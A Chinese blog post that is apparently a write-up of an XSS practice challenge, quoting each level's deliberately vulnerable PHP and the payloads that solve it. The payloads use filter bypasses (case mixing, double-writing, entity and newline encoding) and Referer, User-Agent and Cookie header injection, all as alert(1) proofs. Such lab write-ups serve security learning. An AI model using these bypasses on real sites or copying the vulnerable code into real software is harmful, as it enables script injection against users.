jjnoob

xss挑战之旅

2019-05-27
jjnoob

凌晨0:45了, 我该睡觉了…

参考 参考 参考 参考 参考

level 1

构造payload name=<script>alert(1)</script>


level 2

查看源码: <input name="keyword" value="test">

输入在input标签内,需要闭合input标签

"><script>alert(1)</script>


level 3

单引号闭合 ' onclick=alert(1)//


level 4

双引号闭合 " onclick=alert(1)//


level 5

查看部分源码:

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

其中:

str2=strreplace("<script","<script",str); 
str3=strreplace("on","on",str2); 就直接把

<script 转换成 <scr_ipt, on转换成 o_n, 这样就过滤了js事件.

str=strtolower(_GET["keyword"]);

大小写绕过也失效

可以使用伪协议来构造payload:

" > <a href=javascript:alert(1)> // 

完成后需要点击一下底下的payload长度, 才会弹出完成得不错…..


level 6

部分源码:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
  • <script 转换成 <scr_ipt
  • on 转换成 o_nsrc 转换成 sr_c
  • data 转换成 da_tahref 转换成 hr_ef

发现这里没有大小写约束, 可以构造payload:

"> <Script>alert(1)</script> //

"> <img Src=x OnError=alert(1)> //

"><a HrEf="javascript:alert(1)">bmjoker</a>//

"><svg x=" " Onclick=alert(1)>

"><ScriPt>alert(1)<sCrIpt>"

" OncliCk=alert(1) //

SVG 是基于XML、用于描述二维矢量图形的一种图形格式


level 7

部分源代码:

<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
  • 大小写不能用
  • script, on, src, data, href 都直接转换成空

尝试双写绕过, 构造payload:

"><sscriptcript>alert(1)</sscriptcript>


"><a hrhrefef=javascriscriptpt:alert(1)>bmjoker</a>


level 8

部分源码:

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
  • <script 转换成 <scr_ipt, on 转换成 o_n, src 转换成 sr_c, data 转换成 da_ta, href 转换成 hr_ef.
  • 大小写失效
  • " 被转义成字符实体&quot (html字符转义)

javascript会被替换成javasc_rpt, 使用&#x72来代替r:

javascrip&#x74;:alert(1)

javascript:%61lert(1)

javasc&#x72;ipt:alert`1`

javasc&#x0072;ipt:alert`1`

这些payload我一个也没有尝试出来, emm. 不知道咋了.


level 9

部分源码:

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>

多了自动检测url, 如果发现没有带http:// 内容则会显示不合法.

PHP strpos() 函数, 查找字符串在另一字符串中第一次出现的位置.

构造payload:

javascrip&#x74;:alert(1)//http://xxx.com  //利用注释

javascrip&#x74;:%0dhttp://xxx.com%0dalert(1)  //不利用注释

%0d为 HTML5 URL 编码, 表示的字符为”回车符”

html5 url编码


level 10

部分源码:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

需要两个参数,一个是keyword, 一个是t_sort, 尖括号<>都被转换成空, 还有三个hidden的隐藏输入框.

从隐藏的输入框下手, 构造payload:

keyword = test&t_sort="type="text" onclick = "alert(1)

keyword = test&t_sort="type="text" onmouseover="alert(1)

keyword = test&t_sort="type="text" onmouseover=alert'1'

js onmouseover 事件会在鼠标指针移动到指定的对象上时发生

构成一个js的点击弹窗事件:

<input name="t_sort" value=" " type="text" onclick = "alert(1)" type="hidden">


level 11

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

多了一个 str11=_SERVER['HTTP_REFERER']; 考察的是http头部的xss注入.

burp抓包, 修改http头部Referer:

Referer: " onmouseover=alert(1) type="text"

Referer: " onclick="alert(1) type="text"

forward发包.


level 12

部分源码:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

str11=_SERVER['HTTP_USER_AGENT'];, User-Agent的http头部注入.

burp抓包, 构造http头部User-Agent的payload:

User-Agent: " onmouseover=alert(1) type="text"

User-Agent: " onclick="alert(1) type="text"

forward发包


level 13

部分源代码:

<?php 
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

setcookie("user", "call me maybe?", time()+3600);, 应该是cookie类型的xss注入

payload:

Cookie: " onmouseover=alert(1) type="text"

Cookie: " onclick="alert(1) type="text"

burp抓包, 改cookie, forward发包

完整的cookie为:

Cookie: user=call+me+maybe%3F " onmouseover=alert(1) type="text"


level 14

源码中的那个网站据说需要认证, 访问不了.

据网上的 wp, 是一个 EXIF XSS


level 15

部分源码:

html ng-app>
<head>
        <meta charset="utf-8">
        <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.min.js"></script>
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level16.php?keyword=test"; 
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

考查angular js的知识, ng-include有包含文件的意思, 相当于php里面的include

构造payload:

src='level1.php?name=<img src=x onerror=alert(1)>'

完整的url:

/level15.php?src='level1.php?name=test<img src=1 onerror=alert(1)>'

AngularJS 是一款优秀的前端 JS 框架。


AngularJS ng-include 指令. ng-include 指令用于包含外部的 HTML 文件. 包含的内容将作为指定元素的子节点. ng-include 属性的值可以是一个表达式,返回一个文件名. 默认情况下,包含的文件需要包含在同一个域名下.


level 16

部分源代码:

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("	","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>
  • 大小写绕过失效
  • script, /,空格等都被转换成&nbsp, 可以用%0d, %0a等绕过
  • %0a: 换行符
  • %0d: 回车符

构造payload:

<img%0Dsrc=1%0Donerror=alert(1)>

<iframe%0asrc=x%0donmouseover=alert'1'></iframe>

<svg%0aonload=alert'1'></svg>

iframe一般用来包含别的页面


level 17

试了别人了wp, 没反应…跳过.

关键词:

  • 使用了htmlspecialchars进行实体编码
  • 使用on事件触发

payload:

?arg01=a&arg02=b onmouseover=alert(1)


level 18

和17题基本一样, 也没反应. 跳过.

payload:

?arg01=a&arg02=1 onmouseover=alert(1)


level 19

level 20

level 19,20是flash xss, 网上的wp突然在这儿就断了, emmm. 应该是不太流行了吧…


上一篇 hackinglab-xss

Content